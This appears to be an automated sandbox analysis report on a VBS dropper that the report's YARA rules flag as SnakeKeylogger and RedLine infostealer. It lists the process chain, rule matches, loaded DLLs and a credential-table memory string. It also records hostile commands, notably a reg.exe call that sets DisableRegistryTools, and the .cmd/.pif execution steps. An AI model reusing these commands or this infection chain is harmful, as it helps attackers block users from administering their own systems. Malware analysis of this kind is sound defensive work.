Source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000002.3089643523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000011.00000002.3089641728.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000001.1853843841.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@28/11@3/3

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027D7FD4 GetDiskFreeSpaceA,

1_2_027D7FD4

Source: C:\Users\Public\Libraries\liuuazhU.pif

Code function: 6_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

6_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027E6DC8 CoCreateInstance,

1_2_027E6DC8

Source: C:\Users\Public\Libraries\liuuazhU.pif

6_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

File created: C:\Users\Public\Libraries\YKA

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1144:120:WilError_03
Source: C:\Users\Public\Libraries\liuuazhU.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs"

Source: C:\Users\Public\Libraries\liuuazhU.pif	Command line argument: 08A	6_2_00413780
Source: C:\Users\Public\Libraries\liuuazhU.pif	Command line argument: 08A	11_2_00413780
Source: C:\Users\Public\Libraries\liuuazhU.pif	Command line argument: 08A	11_2_00413780
Source: C:\Users\Public\Libraries\liuuazhU.pif	Command line argument: 08A	11_1_00413780
Source: C:\Users\Public\Libraries\liuuazhU.pif	Command line argument: 08A	17_2_00413780

Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D575000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D593000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D585000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AE2A000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AE38000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AE1A000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C888000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C896000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C878000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: INQUIRY LIST 292.vbs

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\UhzauuilF.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Libraries\Uhzauuil.PIF "C:\Users\Public\Libraries\Uhzauuil.PIF"
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Libraries\Uhzauuil.PIF "C:\Users\Public\Libraries\Uhzauuil.PIF"
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\UhzauuilF.cmd" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
